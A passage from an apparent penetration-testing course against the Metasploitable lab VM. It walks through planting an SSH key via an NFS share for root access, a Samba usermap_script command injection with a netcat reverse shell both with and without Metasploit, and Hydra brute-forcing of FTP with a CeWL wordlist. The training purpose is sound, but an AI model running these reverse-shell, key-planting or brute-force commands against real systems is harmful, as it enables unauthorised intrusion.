4. Let's  change the directories to ".ssh " and list the files and directories:

┌─[root@mr-dev]─[/mnt/metasploitable_share]
└──╼ #cd root/.ssh/
┌─[root@mr-dev]─[/mnt/metasploitable_share/root/.ssh]
└──╼ #ls -al
total 16
drwxr-xr-x  2 root root 4096 May 20  2012 .
drwxr-xr-x 13 root root 4096 Jan 20 14:55 ..
-rw-r--r--  1 root root  405 May 18  2010 authorized_keys
-rw-r--r--  1 root root  442 May 20  2012 known_hosts
┌─[root@mr-dev]─[/mnt/metasploitable_share/root/.ssh]
└──╼ #

From the above, we have found that there is an authorized_keys:

An authorized key in SSH is a public key used for granting login access to users. The authentication mechanism is called public-key authentication. Authorized keys are configured separately for each user - usually in the . ssh/authorized_keys file in the user's home directory.
So, we have to generate an SSH key pair locally on the testing machine.

5. Open a terminal and run the below command to generate SSH key pair.

┌─[mrdev@mr-dev]─[~]
└──╼ $sudo su        # To enable sudo privileges
[sudo] password for mrdev: 
┌─[root@mr-dev]─[/home/mrdev]
└──╼ #cd /mnt/         # Change directory to /mnt 
┌─[root@mr-dev]─[/mnt]
└──╼ #ssh-keygen -t rsa          # Generate SSH key_pair
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):meta2_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in meta2_rsa
Your public key has been saved in meta2_rsa.pub
The key fingerprint is:
SHA256:1V9dnse3V9W8DfBkdIAF/PmM01NqcSP/zGFfVAwuyrY root@mr-dev
The key's randomart image is:
+---[RSA 3072]----+
|           .o*B==|
|           .o=.+X|
|          . o.o+%|
|         o . +++X|
|        S +   +@+|
|         . .  ==*|
|          E  ..+*|
|                =|
|                 |
+----[SHA256]-----+
┌─[root@mr-dev]─[/mnt]
└──╼ #ls -al          # Check if key_pair created or not
total 12
drwxr-xr-x  1 root root   84 Jan 20 18:27 .
drwxr-xr-x  1 root root  292 Jan 12 21:05 ..
-rw-------  1 root root 2590 Jan 20 18:27 meta2_rsa
-rw-r--r--  1 root root  565 Jan 20 18:27 meta2_rsa.pub
drwxr-xr-x 21 root root 4096 May 21  2012 metasploitable_share
┌─[root@mr-dev]─[/mnt]
└──╼ #

6. Copy the meta2_rsa.pub file to the mounted share (/mnt/metasploitable_share/root/.ssh):

┌─[root@mr-dev]─[/mnt]
└──╼ #cp /mnt/meta2_rsa.pub /mnt/metasploitable_share/root/.ssh/
┌─[root@mr-dev]─[/mnt]
└──╼ #

7. Again go back to Terminal 1 and run ls to list the files and directories:

┌─[root@mr-dev]─[/mnt/metasploitable_share/root/.ssh]
└──╼ #ls -al
total 20
drwxr-xr-x  2 root root 4096 Jan 20 18:30 .
drwxr-xr-x 13 root root 4096 Jan 20 14:55 ..
-rw-r--r--  1 root root  405 May 18  2010 authorized_keys
-rw-r--r--  1 root root  442 May 20  2012 known_hosts
-rw-r--r--  1 root root  565 Jan 20 18:30 meta2_rsa.pub
┌─[root@mr-dev]─[/mnt/metasploitable_share/root/.ssh]
└──╼ #

8. Dump the meta2_rsa.pub content to authorized_keys:

┌─[root@mr-dev]─[/mnt/metasploitable_share/root/.ssh]
└──╼ #cat meta2_rsa.pub >> authorized_keys 
┌─[root@mr-dev]─[/mnt/metasploitable_share/root/.ssh]
└──╼ #cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDkW7Nw2eHj4G7f0chXpYNhAt/WNMzGdBlajEtVRhInabT1LlG+hW+n1N8577B0Db/IpeKwElNXDcznp/VY9HNpNE4PuE+tx9IFjgt2TJMKOayfZKR5/CxP6Mx4LfN+iab3/CbKqRWYkdsE8L6jNzuyNXI1zSXjgOCx52/kTNMpRQS9UlR8tNSekODtygoho7fqseYZIkO0q/EF35t55xmmyhA75N2PeP8L0t+9lQVO5jrBf6tJAXocn+ORdRZpfTkDKzTpDQoGmjd2mq5m/JZ6O7CRYSP9qU5jz5KwfwF6gPrzmmySjMOJuBzLkql0Fk1mwNU1ZTsnKO0WdVoKC0zZnGg9TSQTVpe+O9EYSafx7SczI1Pf6BJYMk2uiK5/ipyzM6QQMQ3r/FYnoKA2NZUnzCwRlcq7WE0F9orJmu+dTmqCFH6oFhWewi/M9o5acirV313rgUKB8LQCTg/0zvx5rpfbbxUCkKW0sPx2wpkKSq+GYO8YvdlMfQCsRQvCXNs= root@mr-dev
┌─[root@mr-dev]─[/mnt/metasploitable_share/root/.ssh]
└──╼ #

9.  Again go back to terminal 2, and Connect to the Metasploitable machine with the SSH key created earlier.

┌─[root@mr-dev]─[/mnt]
└──╼ #ssh -i meta2_rsa root@192.168.56.3
The authenticity of host '192.168.56.3 (192.168.56.3)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])?yes
Warning: Permanently added '192.168.56.3' (RSA) to the list of known hosts.
Last login: Thu Jan 20 04:25:40 2022 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~#id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:~# 

As we see, we can connect to the machine as root.

Prevention

  • Place the appropriate restrictions on all NFS shares like restricting the IP addresses which can mount the exposed shares. 
  • Allow read-only access to the exported shares if possible. 
  • Do not export home directories. 
  • Use the “root_squash” option in the NFS setting to prevent remote root users from accessing the share with high privileges. 
Reading Material
Exploiting Network Services & Backdoors Lesson 8 of 15
In Progress

Exploiting Samba SMB (Ports 139 & 445 - usermap_script)

Samba is a software package that gives network administrators flexibility and freedom in terms of setup, configuration, and choice of systems and equipment.

Goal:Exploitation SMB(Server Message Block) port 139 and port 445 running on Metasploitable server.



Using msfconsole

The is quite easy to set up and easy to launch on Metasploit Framework. Let's run it on ParrotSec OS.

┌─[mrdev@mr-dev]─[~]
└──╼ $msfconsole
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

       =[ metasploit v6.1.9-dev                           ]
+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: After running db_nmap, be sure to 
check out the result of hosts and services

msf6 > 
msf6 >search samba

Matching Modules
================

   #   Name                                                 Disclosure Date  Rank       Check  Description
   -   ----                                                 ---------------  ----       -----  -----------
   0   exploit/unix/webapp/citrix_access_gateway_exec       2010-12-21       excellent  Yes    Citrix Access Gateway Command Execution
   1   exploit/windows/license/calicclnt_getconfig          2005-03-02       average    No     Computer Associates License Client GETCONFIG Overflow
   2   exploit/unix/misc/distcc_exec                        2002-02-01       excellent  Yes    DistCC Daemon Command Execution
   3   exploit/windows/smb/group_policy_startup             2015-01-26       manual     No     Group Policy Script Execution From Shared Resource
   4   post/linux/gather/enum_configs                                        normal     No     Linux Gather Configurations
   5   auxiliary/scanner/rsync/modules_list                                  normal     No     List Rsync Modules
   6   exploit/windows/fileformat/ms14_060_sandworm         2014-10-14       excellent  No     MS14-060 Microsoft Windows OLE Package Manager Code Execution
   7   exploit/unix/http/quest_kace_systems_management_rce  2018-05-31       excellent  Yes    Quest KACE Systems Management Command Injection
  8   exploit/multi/samba/usermap_script                   2007-05-14       excellent  No     Samba "username map script" Command Execution
   9   exploit/multi/samba/nttrans                          2003-04-07       average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
   10  exploit/linux/samba/setinfopolicy_heap               2012-04-10       normal     Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
   11  auxiliary/admin/smb/samba_symlink_traversal                           normal     No     Samba Symlink Directory Traversal
   12  auxiliary/scanner/smb/smb_uninit_cred                                 normal     Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State
   13  exploit/linux/samba/chain_reply                      2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
   14  exploit/linux/samba/is_known_pipename                2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
   15  auxiliary/dos/samba/lsa_addprivs_heap                                 normal     No     Samba lsa_io_privilege_set Heap Overflow
   16  auxiliary/dos/samba/lsa_transnames_heap                               normal     No     Samba lsa_io_trans_names Heap Overflow
   17  exploit/linux/samba/lsa_transnames_heap              2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow
   18  exploit/osx/samba/lsa_transnames_heap                2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   19  exploit/solaris/samba/lsa_transnames_heap            2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   20  auxiliary/dos/samba/read_nttrans_ea_list                              normal     No     Samba read_nttrans_ea_list Integer Overflow
   21  exploit/freebsd/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (*BSD x86)
   22  exploit/linux/samba/trans2open                       2003-04-07       great      No     Samba trans2open Overflow (Linux x86)
   23  exploit/osx/samba/trans2open                         2003-04-07       great      No     Samba trans2open Overflow (Mac OS X PPC)
   24  exploit/solaris/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (Solaris SPARC)
   25  exploit/windows/http/sambar6_search_results          2003-06-21       normal     Yes    Sambar 6 Search Results Buffer Overflow

Interact with a module by name or index. For example info 25, use 25 or use exploit/windows/http/sambar6_search_results

msf6 >
msf6 >use 8
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) >show options 

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-fram
                                      ework/wiki/Using-Metasploit
   RPORT   139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  1xx.xx.xxx.xxx   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf6 exploit(multi/samba/usermap_script) >set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf6 exploit(multi/samba/usermap_script) >set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf6 exploit(multi/samba/usermap_script) >
msf6 exploit(multi/samba/usermap_script) >exploit

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.3:56296) at 2022-01-16 04:36:53 +0530

id
uid=0(root) gid=0(root)
^Z
Background session 1? [y/N] y
msf6 exploit(multi/samba/usermap_script) > 
┌─[mrdev@mr-dev]─[~]
└──╼ $smbclient --help
Usage: smbclient service <password>
  -R, --name-resolve=NAME-RESOLVE-ORDER     Use these name resolution services
                                            only
  -M, --message=HOST                        Send message
  -I, --ip-address=IP                       Use this IP to connect to
  -E, --stderr                              Write messages to stderr instead
                                            of stdout
  -L, --list=HOST                           Get a list of shares available on
                                            a host
  -m, --max-protocol=LEVEL                  Set the max protocol level
  -T, --tar=<c|x>IXFvgbNan                  Command line tar
  -D, --directory=DIR                       Start from directory
  -c, --command=STRING                      Execute semicolon separated
                                            commands
  -b, --send-buffer=BYTES                   Changes the transmit/send buffer
  -t, --timeout=SECONDS                     Changes the per-operation timeout
  -p, --port=PORT                           Port to connect to
  -g, --grepable                            Produce grepable output
  -q, --quiet                               Suppress help message
  -B, --browse                              Browse SMB servers using DNS

Help options:
  -?, --help                                Show this help message
      --usage                               Display brief usage message

Common samba options:
  -d, --debuglevel=DEBUGLEVEL               Set debug level
  -s, --configfile=CONFIGFILE               Use alternate configuration file
  -l, --log-basename=LOGFILEBASE            Base name for log files
  -V, --version                             Print version
      --option=name=value                   Set smb.conf option from command
                                            line

Connection options:
  -O, --socket-options=SOCKETOPTIONS        socket options to use
  -n, --netbiosname=NETBIOSNAME             Primary netbios name
  -W, --workgroup=WORKGROUP                 Set the workgroup name
  -i, --scope=SCOPE                         Use this Netbios scope

Authentication options:
  -U, --user=USERNAME                       Set the network username
  -N, --no-pass                             Don't ask for a password
  -k, --kerberos                            Use kerberos (active directory)
                                            authentication
  -A, --authentication-file=FILE            Get the credentials from a file
  -S, --signing=on|off|required             Set the client signing state
  -P, --machine-pass                        Use stored machine account password
  -e, --encrypt                             Encrypt SMB transport
  -C, --use-ccache                          Use the winbind ccache for
                                            authentication
      --pw-nt-hash                          The supplied password is the NT
                                            hash
┌─[mrdev@mr-dev]─[~]
└──╼ $

┌─[mrdev@mr-dev]─[~]
└──╼ $smbclient -L //192.168.56.3/
Enter WORKGROUP\mrdev's password:
┌─[mrdev@mr-dev]─[~]
└──╼ $smbclient -L //192.168.56.3/
Enter WORKGROUP\mrdev's password: 
Anonymous login successful

Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
tmp             Disk      oh noes!
opt             Disk      
IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

Server               Comment
---------            -------

Workgroup            Master
---------            -------
WORKGROUP            METASPLOITABLE
┌─[mrdev@mr-dev]─[~]
└──╼ $
Sharename       Type      Comment
---------       ----      -------
tmp             Disk      oh noes!
┌─[mrdev@mr-dev]─[~]
└──╼ $nc -lvp 4444
listening on [any] 4444 ...
┌─[mrdev@mr-dev]─[~]
└──╼ $smbclient //192.168.56.3/tmp
Enter WORKGROUP\mrdev's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>
smb: \>help
?              allinfo        altname        archive        backup         
blocksize      cancel         case_sensitive cd             chmod          
chown          close          del            deltree        dir            
du             echo           exit           get            getfacl        
geteas         hardlink       help           history        iosize         
lcd            link           lock           lowercase      ls             
l              mask           md             mget           mkdir          
more           mput           newer          notify         open           
posix          posix_encrypt  posix_open     posix_mkdir    posix_rmdir    
posix_unlink   posix_whoami   print          prompt         put            
pwd            q              queue          quit           readlink       
rd             recurse        reget          rename         reput          
rm             rmdir          showacls       setea          setmode        
scopy          stat           symlink        tar            tarmode        
timeout        translate      unlock         volume         vuid           
wdel           logon          listconnect    showconnect    tcon           
tdis           tid            utimes         logoff         ..             
!              
smb: \>
smb: \>logon "/=`nc 192.168.56.1 4444 -e /bin/bash`"
Password: 

┌─[mrdev@mr-dev]─[~]
└──╼ $nc -lvp 4444
listening on [any] 4444 ...
192.168.56.3: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.3] 42581
id          #To verify if shell found or not
uid=0(root) gid=0(root)
python -c "import pty;pty.spawn('bin/bash');"
root@metasploitable:/#ls
ls
bin    dev   initrd      lost+found  nohup.out  root  sys  var
boot   etc   initrd.img  media       opt        sbin  tmp  vmlinuz
cdrom  home  lib         mnt         proc       srv   usr
root@metasploitable:/# 

Once the framework starts, input the search command:

On the 8th position, you can see an exploit that's rank is excellent. Now use this exploit and set the variables:

If everything ok, run the exploit command:

Exploit works fine but in this way, you never gain any knowledge. The best way to practice hacking is to find your own way.

Exploit SMB without MSF Framework

This process is the best process for newbies. Follow the below steps to gain access to the server:

Step 1: Using smbclient

smbclient is quite similar to FTP. It is a useful tool to test connectivity of a windows share. It can be used to transfer files, or to look at share names.

Use the help command to verify if the smbclient application was installed or not:

Use SMB client and check for anonymous access:

Note: If you found a protocol negotiation error then Click here to find out your answer.

If smbclient prompts you to input a password just keep it blank and hit enter:

From Above you can see shares, let's try to attack using Netcat.

Step 2: Attack using Netcat

Since we know that the "tmp" directory is present, we are going to try to make a reverse connection:

Let's open a new terminal and run Netcat for accepting a reverse connection:

Let's take access to the tmp directory on the Samba server using the below command:

Type the help command to find out if the login command is available or not:

Since the logon command is there we can make a reverse connection using the below command:

After successful command injection, you will get a reverse shell in NetCat:

Step 3: Terminal View

Type the following command to take the terminal view from a shell:

I think you got an idea of how to perform a samba attack.

Reading Material
Authentication & Password Attacks Lesson 9 of 15
In Progress

Custom Wordlist Generation with CeWL

A wordlist is essentially a list of passwords that are collected in plain text. It's a text file that has a list of possible passwords that can be used to help someone crack passwords when necessary.

Usually, a wordlist helps for Brute forcing and Password Cracking Attacks. In ParrotSec and Kali Linux have their own inbuilt wordlists stored under /usr/share/wordlists/.

┌──(mrdev㉿mrdev)-[~]
└─$cd /usr/share/wordlists/

┌──(mrdev㉿mrdev)-[/usr/share/wordlists]
└─$ls
dirb       dnsmap.txt     fern-wifi   nmap.lst   rockyou.txt.gz  wfuzz
dirbuster  fasttrack.txt  metasploit  README.md  sqlmap.txt 
┌─[mrdev@mr-dev]─[~]
└──╼ $cewl -h
CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Usage: cewl [OPTIONS] ... <url>

    OPTIONS:
-h, --help: Show help.
-k, --keep: Keep the downloaded file.
-d <x>,--depth <x>: Depth to spider to, default 2.
-m, --min_word_length: Minimum word length, default 3.
-o, --offsite: Let the spider visit other sites.
--exclude: A file containing a list of paths to exclude
--allowed: A regex pattern that path must match to be followed
-w, --write: Write the output to the file.
-u, --ua <agent>: User agent to send.
-n, --no-words: Don't output the wordlist.
--lowercase: Lowercase all parsed words
--with-numbers: Accept words with numbers in as well as just letters
--convert-umlauts: Convert common ISO-8859-1 (Latin-1) umlauts (ä-ae, ö-oe, ü-ue, ß-ss)
-a, --meta: include meta data.
--meta_file file: Output file for meta data.
-e, --email: Include email addresses.
--email_file <file>: Output file for email addresses.
--meta-temp-dir <dir>: The temporary directory used by exiftool when parsing files, default /tmp.
-c, --count: Show the count for each word found.
-v, --verbose: Verbose.
--debug: Extra debug information.

Authentication
--auth_type: Digest or basic.
--auth_user: Authentication username.
--auth_pass: Authentication password.

Proxy Support
--proxy_host: Proxy host.
--proxy_port: Proxy port, default 8080.
--proxy_username: Username for proxy, if required.
--proxy_password: Password for proxy, if required.

Headers
--header, -H: In format name:value - can pass multiple.

    <url>: The site to spider.

┌─[mrdev@mr-dev]─[~]
└──╼ $
┌─[mrdev@mr-dev]─[~]
└──╼ $cewl 192.168.56.3 -w wordlist.lst
CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
┌─[mrdev@mr-dev]─[~]
└──╼ $
┌─[mrdev@mr-dev]─[~]
└──╼ $ls
 Desktop     Downloads   Videos     wordlist.lst
 Documents   Pictures   Templates  'VirtualBox VMs'
┌─[mrdev@mr-dev]─[~]
└──╼ $

What if you want to use a customized wordlist for your work. There are too many amounts of tools that are available.

Goal:Generate a wordlist for an upcoming appearance on Brute forcing and Password cracking.

Generate a WordList using CeWL

Using CeWL you can build your own customized WordList. CeWL is a ruby app that spiders a given URL, up to a specified depth, and returns a list of words that can then be used for password crackers such as John the RipperhydraJohnny, and many more.

CeWL comes pre-installed with Kali and ParrotSec OS so verify it using the help command and also find out some valuable information before creating a WordList.

Using CeWL

Running of CeWL tool is quite easy just insert the below command on your terminal:

Once the process is completed you can find them from the current directory i.e. home/username:

Reading Material
Authentication & Password Attacks Lesson 10 of 15
In Progress

Manual Authentication & Brute-Forcing Analysis

In the previous lesson, I demonstrated to you the easy way to exploit and server and get the shell intersection. In this lesson, you are going to learn a complicated and pretty powerful way to get the shell intersection is Brute-forcing.

At an earlier stage, if an authenticated user tries to access the FTP server, they need an appropriate username and password to get into the FTP server

┌─[mrdev@mr-dev]─[~]
└──╼ $ ftp 192.168.56.3
Connected to 192.168.56.3.
220 (vsFTPd 2.3.4)
Name (192.168.56.3:mrdev): msfadmin
331 Please specify the password.
Password: msfadmin
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

Goal:  Try to perform a brute-force attack on the SSH, FTP, and Telnet services to get the login username and password.

What if a hacker tries to get into the server then they must need a proper authenticated username and password, otherwise, the login failed.

┌─[mrdev@mr-dev]─[~]
└──╼ $ ftp 192.168.56.3
Connected to 192.168.56.3.
220 (vsFTPd 2.3.4)
Name (192.168.56.3:mrdev): hacker
331 Please specify the password.
Password: hacker
530 Login incorrect.
ftp: Login failed
ftp> 

At this place, a Brute-force attack comes to work.

What is the meaning of Brute Force Attack?

A brute force attack is a hacking method that uses trial and error to crack passwords, login credentials, and encryption keys. It is a simple yet reliable tactic for gaining unauthorized access to individual accounts and organizations' systems and networks.

Brute-force the FTP server

What if you don't find any vulnerability on the target machine, then what we should do? The answer is you have to perform a brute-force attack on the target machine and try to crack the passwords.

While this is good, it’s not really practical to manually test every possible password. That’s why Hydra takes wordlists. You can specify a WordList instead of a single password.

Note: A brute-force attack can take lots of time, so keep calm and wait for the end.

There are lots of Brute-forcing tools available among then few are listed below:

  • hydra
  • Xhydra
  • Ncrack
  • medusa
  • Patator

Brute-forcing using Hydra

According to Wiki:

Hydra is a parallelized network login cracker built in various operating systems like Kali Linux, Parrot, and other major penetration testing environments. Hydra works by using different approaches to perform brute-force attacks in order to guess the right username and password combination.

To find out helpful information about Hydra just run the help command:

┌─[mrdev@mr-dev]─[~]
└──╼ $ hydra -h
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -I        ignore an existing restore file (don't wait 10 seconds)
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -y        disable use of symbols in bruteforce, see above
  -r rainy mode for password generation (-x)
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -o FILE   write found login/password pairs to FILE instead of stdout
  -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
  -w / -W TIME  wait time for a response (32) / between connects per thread (0)
  -c TIME   wait time per login attempt over all threads (enforces -t 1)
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
  -O        use old SSL v2 and v3
  -K        do not redo failed attempts (good for -M mass scanning)
  -q        do not print messages about connection errors
  -U        service module usage details
  -m OPT    options specific for a module, see -U output for information
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs.
Licensed under AGPL v3.0. The newest version is always available at;
https://github.com/vanhauser-thc/thc-hydra
Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wish and non-binding - most such people do not care about
laws and ethics anyway - and tell themselves they are one of the good ones.)
These services were not compiled in: afp ncp oracle sapr3 smb2.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.
E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
     % export HYDRA_PROXY=connect_and_socks_proxylist.txt  (up to 64 entries)
     % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
     % export HYDRA_PROXY_HTTP=proxylist.txt  (up to 64 entries)

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh
┌─[✗]─[mrdev@mr-dev]─[~]
└──╼ $

From the above help command, we found that

  • -l LOGIN or -L FILE         login with LOGIN name, or load several logins from FILE
  • -p PASS or -P FILE            try password PASS, or load several passwords from FILE
  • -v / -V / -d                            verbose mode / show login+pass for each attempt / debug mode

After all, these, let's perform a Brute-force Attack:

┌─[mrdev@mr-dev]─[~]
└──╼ $ hydra -L wordlist.lst -P wordlist.lst ftp://192.168.56.3
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-15 01:12:50
[DATA] max 16 tasks per 1 server, overall 16 tasks, 400 login tries (l:20/p:20), ~25 tries per task
[DATA] attacking ftp://192.168.56.3:21/
[21][ftp] host: 192.168.56.3   login: user   password: user
[21][ftp] host: 192.168.56.3   login: msfadmin   password: msfadmin
[STATUS] 300.00 tries/min, 300 tries in 00:01h, 100 to do in 00:01h, 16 active
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-15 01:14:11
┌─[mrdev@mr-dev]─[~]
└──╼ $

From above, we found that the username and password that marked in bold. Now, we can try to get into the FTP server using the below commands:

┌─[mrdev@mr-dev]─[~]
└──╼ $ ftp 192.168.56.3
Connected to 192.168.56.3.
220 (vsFTPd 2.3.4)
Name (192.168.56.3:mrdev): user
331 Please specify the password.
Password: user
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        65534        4096 Mar 17  2010 ftp
drwxr-xr-x    5 1000     1000         4096 May 20  2012 msfadmin
drwxr-xr-x    2 1002     1002         4096 Apr 16  2010 service
drwxr-xr-x    3 1001     1001         4096 May 07  2010 user
226 Directory send OK.
ftp> cd msfadmin
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    6 1000     1000         4096 Apr 28  2010 vulnerable
226 Directory send OK.
ftp> cd vulnerable
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 1000     1000         4096 Apr 28  2010 mysql-ssl
drwxr-xr-x    5 1000     1000         4096 Apr 28  2010 samba
drwxr-xr-x    2 1000     1000         4096 Apr 19  2010 tikiwiki
drwxr-xr-x    3 1000     1000         4096 Apr 16  2010 twiki20030201
226 Directory send OK.
ftp> cd tikiwiki
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 1000     1000     10784297 Apr 09  2008 tikiwiki-1.9.11.zip
-rw-r--r--    1 1000     1000     10451264 Jun 11  2006 tikiwiki-1.9.4.zip
-rw-r--r--    1 1000     1000      9577201 Sep 05  2006 tikiwiki-1.9.5.zip
226 Directory send OK.
ftp> get tikiwiki-1.9.11.zip
local: tikiwiki-1.9.11.zip remote: tikiwiki-1.9.11.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for tikiwiki-1.9.11.zip (10784297 bytes).
226 Transfer complete.
10784297 bytes received in 0.48 secs (21.2650 MB/s)
ftp> bye
221 Goodbye.
┌─[mrdev@mr-dev]─[~]
└──╼ $ ls
 Desktop     Downloads   Pictures   Templates             Videos            wordlist.lst
 Documents   Music       Public     tikiwiki-1.9.11.zip  'VirtualBox VMs'
┌─[mrdev@mr-dev]─[~]
└──╼ $
  • You can learn more about FTP servers:

Brute Forcing the SSH services

The Secure Shell Protocol (SSH) is a cryptographic network protocol for operating network services securely over an unsecured network. Its most notable applications are remote login and command-line execution. SSH applications are based on a client–server architecture, connecting an SSH client instance with an SSH server.

